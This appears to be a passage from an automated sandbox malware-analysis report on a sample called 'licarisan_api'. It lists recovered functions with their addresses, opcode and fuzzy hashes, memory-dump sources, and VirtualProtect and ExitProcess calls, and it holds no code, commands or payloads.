Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ad434f6df366d6c9cf0fd054b42e6d77afbf65798a24849a36d1749fee213910
Instruction ID: 353ab274c7d1fea26b73f30d1f180f7c165c88e8b46210226cb80cec77c69ecc
Opcode Fuzzy Hash: ad434f6df366d6c9cf0fd054b42e6d77afbf65798a24849a36d1749fee213910
Instruction Fuzzy Hash: 9F51ACB2D052249FEB248B20DC95BEAB778FF84310F1480FAD90DA6241E6385EC6CF51

Function 0080F671 Relevance: 1.7, APIs: 1, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 0080FDEA

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e7b64420a3be651803fc0fe9a5d57c4794f0ebef67198fcf90193ce5f72ca664
Instruction ID: fc9c3b23f3e8f67da1e20ebbb86b60c54c6828f55b2d5551a86d7837ff3a9242
Opcode Fuzzy Hash: e7b64420a3be651803fc0fe9a5d57c4794f0ebef67198fcf90193ce5f72ca664
Instruction Fuzzy Hash: 0A5108B2D141199FF7388A14DC49BF77778FB80310F0481BAEA0D96A80D7799EC58E52

Function 007C8A6D Relevance: 1.7, APIs: 1, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0434fc00d4c3dc9e18791e0c1b8e30a9d0244ad0384565363a66a68edece5372
Instruction ID: 206f9cca499ef5433ac11dcb101cc10545eb3243dd002342f3a7d8a351cef9af
Opcode Fuzzy Hash: 0434fc00d4c3dc9e18791e0c1b8e30a9d0244ad0384565363a66a68edece5372
Instruction Fuzzy Hash: 9D51CDB09045688FDB64CB04CDD4FBABBB5EB80306F2481EED50E57241DA386FC58E26

Function 007B2767 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b6387210e7f0cfb8f6de4e36e58e9e7683be7cc545106e1147aae8e9970cfab
Instruction ID: 6ef80f21dcee6f5fb57697ac6c184278c682d0a70f544875010aa0b7c9177f78
Opcode Fuzzy Hash: 3b6387210e7f0cfb8f6de4e36e58e9e7683be7cc545106e1147aae8e9970cfab
Instruction Fuzzy Hash: 8F4104B1D1A1A49FDB15CB20DCA4BFE7B75FF52301F1840EAE909A6242DA385D81CF51

Function 007B2268 Relevance: 1.6, APIs: 1, Instructions: 118memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B28FD

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ecaa575ad9236170442c1d82988b8e03394a72be6ed3739858042195aca261b0
Instruction ID: a8dde98f03c5aa08eea774b5320f973568674d428e17518e8bb503aa11cbf898
Opcode Fuzzy Hash: ecaa575ad9236170442c1d82988b8e03394a72be6ed3739858042195aca261b0
Instruction Fuzzy Hash: 814103F2E012149FF7248A10DC54BFA77B9EB95320F0580FAE90D5A281DA7C5EC68F61

Function 007A56ED Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a5d39b1de060fcc8601f9feac4495f7dbde5f6668826a979d2e7a596a429ac4e
Instruction ID: 0ee9f385ac1fa788bfd32363b3610a369cf3756cf8e606afcf1a92adf0ea56f6
Opcode Fuzzy Hash: a5d39b1de060fcc8601f9feac4495f7dbde5f6668826a979d2e7a596a429ac4e
Instruction Fuzzy Hash: BF41D0F2D00A589FF724CA10CC94BAA7774FB95311F0486FAD94AA6680D63C9EC08F11

Function 007A56F7 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 05e87b8b3d4588bd2b1d1de5ce07ac3371002d4ec72ba5477750a4a0d12bb5e5
Instruction ID: 7167522e3fe4a160b6c3c09458a6b18b01fb174c4860fb58508a97ddeef07b6d
Opcode Fuzzy Hash: 05e87b8b3d4588bd2b1d1de5ce07ac3371002d4ec72ba5477750a4a0d12bb5e5
Instruction Fuzzy Hash: AC41C0F2D15A589FF724CB10CC94BAA77B4FB95311F0482FAD549A6680D63C9EC08F51

Function 007B24D3 Relevance: 1.6, APIs: 1, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B28FD

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 599c1df4128e2fba964b58db531353ad8285fe9d6785be8edd3a08f36825a796
Instruction ID: e8af84202d0c8d7fd09c0b0e00196f797ecc1a61b29839c8d8e077c038c9ec33
Opcode Fuzzy Hash: 599c1df4128e2fba964b58db531353ad8285fe9d6785be8edd3a08f36825a796
Instruction Fuzzy Hash: 8D41A0B2E012249FE7248A00DC51BEA77B9EB95320F1480FAE90DA6281D77C5EC58F61

Function 007BD010 Relevance: 1.6, APIs: 1, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?), ref: 007BD1E3

Memory Dump Source

Source File: 00000000.00000002.1516539906.00000000007BD000.00000040.00000001.01000000.00000003.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7bd000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 66424fdcc782847726124720a66ca98fbc7a3384bf4b4d53f18b914e0f5ac7df
Instruction ID: 4dcb39081cca200b1ebf624b2cb7bf6101951205901d6d126ba059d93e59999d
Opcode Fuzzy Hash: 66424fdcc782847726124720a66ca98fbc7a3384bf4b4d53f18b914e0f5ac7df
Instruction Fuzzy Hash: C541F8B1D090589BEB35CA28DC94BFE7775EF90311F2480BAD80996241E63D9E86CF01

Function 007A5908 Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4136d8c54e83034037582a6c399c6a47f1873b3f38930330b9d7cf2ec25dd61d
Instruction ID: bd01197b6df1f68d7a4cf6ab33f84bb2df75cea0f76b3bca6dee24a3d9d59003
Opcode Fuzzy Hash: 4136d8c54e83034037582a6c399c6a47f1873b3f38930330b9d7cf2ec25dd61d
Instruction Fuzzy Hash: 463190F2D04A199FF7148A14DC95BFA7778EB91311F0482FAD54E96680E63C9EC08F51

Function 007A5955 Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6e2c87b24d673b397aabaf441ca23682710e47e2d2c984d9598db2421f608afa
Instruction ID: ddf7225be989281983d58c50b6369cbd39b1ae481b73c0ff32da8be21314f8d3
Opcode Fuzzy Hash: 6e2c87b24d673b397aabaf441ca23682710e47e2d2c984d9598db2421f608afa
Instruction Fuzzy Hash: CF31AEF2D04A599FF724CA10DC95BEB7778EB91311F0482FAD54AA6680E6389EC08F51

Function 007FA013 Relevance: 1.6, APIs: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?), ref: 007FA422

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e13ada47188cd293d787bb0acae1c38bb812815d70536486a92c8b4d588116e4
Instruction ID: 00bba3145614e582330ffb6f2d5abf63bb3edb411136b805b01c3978a3fe0247
Opcode Fuzzy Hash: e13ada47188cd293d787bb0acae1c38bb812815d70536486a92c8b4d588116e4
Instruction Fuzzy Hash: 6931AEF1D0425CAFFB248B14CC84BFAB775EB81310F1042F9D90956681D7BDAE868E62

Function 007A59E0 Relevance: 1.6, APIs: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ff73686039de4ff234bc1fc3941cfc93c69208dc6521b0093af27d1908959aab
Instruction ID: 170ed9fc63909f4a4038dced1b8954e83857f5a1c3f2e53a40e69ef3d982b59a
Opcode Fuzzy Hash: ff73686039de4ff234bc1fc3941cfc93c69208dc6521b0093af27d1908959aab
Instruction Fuzzy Hash: 1C31BEF1D049699FF724CA10DC94BEA7774FB91310F0482FAD94E66680DA39AEC08F51

Function 007B24B9 Relevance: 1.6, APIs: 1, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B28FD

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3ee58617036eed6d30c53c0617b2a156756c841c071cfec9f512259069d5621f
Instruction ID: 26632d1e2c08678201bf9ebb56e2ed0a2c6e9cf81aa2f2337f02ef9ca57c2ca0
Opcode Fuzzy Hash: 3ee58617036eed6d30c53c0617b2a156756c841c071cfec9f512259069d5621f
Instruction Fuzzy Hash: BE31C4F2D412249FE7248B00DC50BFA7778EB95320F0480FAE90DA6281DA795EC5CF61

Function 007A57AE Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 02f33c329448cfc59f8f47b4526cf410e138d2b03bfb3fcb744d285206cbdded
Instruction ID: c3e887f3eb8d4c4b978c49c4e6bfa022bac843511e28998bb4fa851fdf618634
Opcode Fuzzy Hash: 02f33c329448cfc59f8f47b4526cf410e138d2b03bfb3fcb744d285206cbdded
Instruction Fuzzy Hash: 3931B3F1D04A599FF724CA10DC95BAA7774FB91310F04C2FAD54E56680D5399EC08F51

Function 007C8029 Relevance: 1.6, APIs: 1, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0e4fbebd090903759de1a92c78106a785cdb63761228a47f39e97de1c7bb59a4
Instruction ID: cf7d6f7774d2c2eaa1e2473f6c59d55c8616fb449bce1a1f34cb75fcf0ddb8b4
Opcode Fuzzy Hash: 0e4fbebd090903759de1a92c78106a785cdb63761228a47f39e97de1c7bb59a4
Instruction Fuzzy Hash: 2021D5F2D142149EF7688A20DCC4FF77729E780314F1082FEAA0E591809A3D1EC98A62

Function 007C8678 Relevance: 1.6, APIs: 1, Instructions: 88memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6d2c9a993c3f3f857913248de5c1f826131436ce338a49a8d25a380cc8d0d5a3
Instruction ID: 18f754239912ded535de6e99f6704e9480d59c566cf71466c6c877ad80254413
Opcode Fuzzy Hash: 6d2c9a993c3f3f857913248de5c1f826131436ce338a49a8d25a380cc8d0d5a3
Instruction Fuzzy Hash: 4D3181B1D056149FF7A98A10DC95FF67778EB84314F2081EED54A9A280DA7C6EC1CF12

Function 00420119 Relevance: 1.6, APIs: 1, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?), ref: 004201B8

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0c2bcfeacacade840ab09a4c83c4e91df0b5b1622b80843d8742f15050bc475f
Instruction ID: f397848301ed990aa02584c71d13af16d6738c0adcfa616c890d2a2e3b4c4e2e
Opcode Fuzzy Hash: 0c2bcfeacacade840ab09a4c83c4e91df0b5b1622b80843d8742f15050bc475f
Instruction Fuzzy Hash: 0931C0B1E052289FEB24CA10DC94AEAB7B5EB84300F1041EAD50D67241D63D6FC2CE56

Function 007A51B5 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5b6b02bbc41962e0fc07f32216c40f0a8337eeaee88bdb0e73f04b86357b19d7
Instruction ID: 2e24a9bbc9d2a708057003b561639d354c17b0dfb27515fc5987ccc91e15b643
Opcode Fuzzy Hash: 5b6b02bbc41962e0fc07f32216c40f0a8337eeaee88bdb0e73f04b86357b19d7
Instruction Fuzzy Hash: 682104F2D189046FF7588A21DC55FFB7769EBD1310F14C2BEE28A126C0D93C5AC18A12

Function 007C8067 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 89898f0a39a7f5afd670dc449a5b8029d390b20c3ca92a9f5a4d6034db00882d
Instruction ID: 03aa9554e4e47983e7bb35af0279ca14b77ea392968abdccd7095abe6dac280a
Opcode Fuzzy Hash: 89898f0a39a7f5afd670dc449a5b8029d390b20c3ca92a9f5a4d6034db00882d
Instruction Fuzzy Hash: 7C2146E29141149EF3688A20ECC4FF73728E780314F20C2FEEA0E091848A3D1FC58A66

Function 007C80BB Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 829b5078f75fc36c060876372ebb19a31debab248eefa5319bff90fad643f37a
Instruction ID: 16857811907e5f8f33b93c138d0de4b17d7b7d669b5bba697cbcc67864217070
Opcode Fuzzy Hash: 829b5078f75fc36c060876372ebb19a31debab248eefa5319bff90fad643f37a
Instruction Fuzzy Hash: 412102B2C056249FF7648A24DCC4FB77778E780315F1082FEEA0E191848B3C5EC58A65

Function 0042014B Relevance: 1.6, APIs: 1, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?), ref: 004201B8

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 66d8d4898ff2386ddf36373fb0435f6680e9ecfc2e28d594ca4f98da61a5a9a7
Instruction ID: d6d26002a2346c7716658bc4204bbeebea8da1991f7e983ffeb86ce547ee26e1
Opcode Fuzzy Hash: 66d8d4898ff2386ddf36373fb0435f6680e9ecfc2e28d594ca4f98da61a5a9a7
Instruction Fuzzy Hash: 7931C2B1E052249FEB24CA14DC94AEAB7B9FF84300F1441EAD50DA7241D63C6FC2CE65

Function 007C8880 Relevance: 1.6, APIs: 1, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8b906773b2be716443a00351eaaf643b0a049c1f2f115fd6499526d51b8158d7
Instruction ID: 9c67afbcbc51d8b72278c844a3fd1b5876d534e29789f14b5e890b218a305246
Opcode Fuzzy Hash: 8b906773b2be716443a00351eaaf643b0a049c1f2f115fd6499526d51b8158d7
Instruction Fuzzy Hash: 3B21A3B1D156149EE7A9CA10DC94FBA7778EB84311F2081EED54A5A280DF3C6EC1CF12

Function 007B27B5 Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B28FD

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6e3c9b783f1c8fee03bd68efdbf831efe4fa4bbea802bb85b962f353675cb138
Instruction ID: e3536490f3e2b11a6b7dbaa3fed20e74532b46d08f419d83f96687498955bbfe
Opcode Fuzzy Hash: 6e3c9b783f1c8fee03bd68efdbf831efe4fa4bbea802bb85b962f353675cb138
Instruction Fuzzy Hash: 8621F4B1D062549FEB148B10DCA4BEE7B79EB81310F1481FAD90DD6242D6395EC5CF51

Function 007A51CF Relevance: 1.6, APIs: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c51248f09cd72283f6fe3c92b97dbc9e3220737b63d9fd9c11fd55dcd3bc7142
Instruction ID: 544dc8f57cb46dba4c9ab08a7e62fd53437b695382b03e7df50d24ca14616a4a
Opcode Fuzzy Hash: c51248f09cd72283f6fe3c92b97dbc9e3220737b63d9fd9c11fd55dcd3bc7142
Instruction Fuzzy Hash: D221C0F2E145146FF3688A21DC59FBB7769EBD1310F14C2BEE24A566C0D93C5AC18A11

Function 007BD0F7 Relevance: 1.6, APIs: 1, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?), ref: 007BD1E3

Memory Dump Source

Source File: 00000000.00000002.1516539906.00000000007BD000.00000040.00000001.01000000.00000003.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7bd000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: cb4c1feed9e8ab14e498cbe3f0291ccc4f186e5160fd8feb8c014e21ad0f6f51
Instruction ID: 0fa3b86dc8ad801094045cc45745c01bb07f4ad295e62eaef5fb441aadfc9bc6
Opcode Fuzzy Hash: cb4c1feed9e8ab14e498cbe3f0291ccc4f186e5160fd8feb8c014e21ad0f6f51
Instruction Fuzzy Hash: 3721B0B2D0911C9BEB31CA18CC947EA77B9EB40310F1181EAE50DE6240E63D9EC5CF41

Function 007BD109 Relevance: 1.6, APIs: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?), ref: 007BD1E3

Memory Dump Source

Source File: 00000000.00000002.1516539906.00000000007BD000.00000040.00000001.01000000.00000003.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7bd000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ef4b198b5a2a94d1afc0625931c7ebb526579f6ebde9eac28d64bf6e4cec3310
Instruction ID: 00d0b374457bcd5ed0d9606cb0be7b9f20f9d001c87ab70ffd589b276895cebe
Opcode Fuzzy Hash: ef4b198b5a2a94d1afc0625931c7ebb526579f6ebde9eac28d64bf6e4cec3310
Instruction Fuzzy Hash: 0621A1B1D0911C9FEB31CA18CC94BEA7BB9EB40311F1481EAE50DE6240E67D9E85CF41

Function 007A5253 Relevance: 1.6, APIs: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4b743c446bfedc348ad90e6a62f34e2fd71acfe2ff84e10be9bb2e1280c1a52c
Instruction ID: 408aa76805c5df04b21313daa7dffcb9563dce8a0eb7d8935314e90863150db0
Opcode Fuzzy Hash: 4b743c446bfedc348ad90e6a62f34e2fd71acfe2ff84e10be9bb2e1280c1a52c
Instruction Fuzzy Hash: C11104F2D145086FF7688A21EC55FBB3669E7C1310F04C2BEE24E165C0D93C5AC08B51

Function 007B2832 Relevance: 1.6, APIs: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B28FD

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 64faf9716ebfafaa2c50823ba0d4f61eba65ab225aefa3ad6a3a7b3122b2be6d
Instruction ID: 7de588258ae618b715662185d29251894bf6cfef6455d193f61272af606000e3
Opcode Fuzzy Hash: 64faf9716ebfafaa2c50823ba0d4f61eba65ab225aefa3ad6a3a7b3122b2be6d
Instruction Fuzzy Hash: 3321D1B2E062589FEB24CB14DC94BED77B5FF85310F0441EAD80DA6282CA385EC58F10

Function 00802722 Relevance: 1.6, APIs: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 0080FDEA

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 927871b5f0281f19efd2c136cf81d0f6fe2f14744662c919d68fb38f78c933bc
Instruction ID: 5221dc0c4641891c92e724ae07400daafb217fc5018d0930a546f4a591f1a124
Opcode Fuzzy Hash: 927871b5f0281f19efd2c136cf81d0f6fe2f14744662c919d68fb38f78c933bc
Instruction Fuzzy Hash: 3C1122A2A08108AAF7744A24DD49BF77779FBC0318F10C1BEE60A5AC85C37D0A869911

Function 00437454 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00437BB7

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 571276edcc534549a83365dfe23df2dc37f99d4a80bcb0eb9cb31d81955f3edf
Instruction ID: 646dfcdc70eee91063db88894666cc5d4c4047e85ba599eee2a12b591002009e
Opcode Fuzzy Hash: 571276edcc534549a83365dfe23df2dc37f99d4a80bcb0eb9cb31d81955f3edf
Instruction Fuzzy Hash: 601100F2D045046BF7248A10DC5ABEA7774EB88714F1480FFE94E52680E63C6EC18E22

Function 007BD11C Relevance: 1.6, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?), ref: 007BD1E3

Memory Dump Source

Source File: 00000000.00000002.1516539906.00000000007BD000.00000040.00000001.01000000.00000003.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7bd000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d6c40dd0e7ca687b2e8b8ac6b25433044e47742aa1f53f4d3bafdc2ea71a689d
Instruction ID: 2a5ff533f8d5d584a2338d7bb7172dda7bf0f23ecf23f71b4879acbd49d8d64a
Opcode Fuzzy Hash: d6c40dd0e7ca687b2e8b8ac6b25433044e47742aa1f53f4d3bafdc2ea71a689d
Instruction Fuzzy Hash: 2C21A2B1D0911C9FEB31CA68DC94BEA77B8EB44311F1441EAE50DE6240E6399F85CF41

Function 007C892B Relevance: 1.6, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

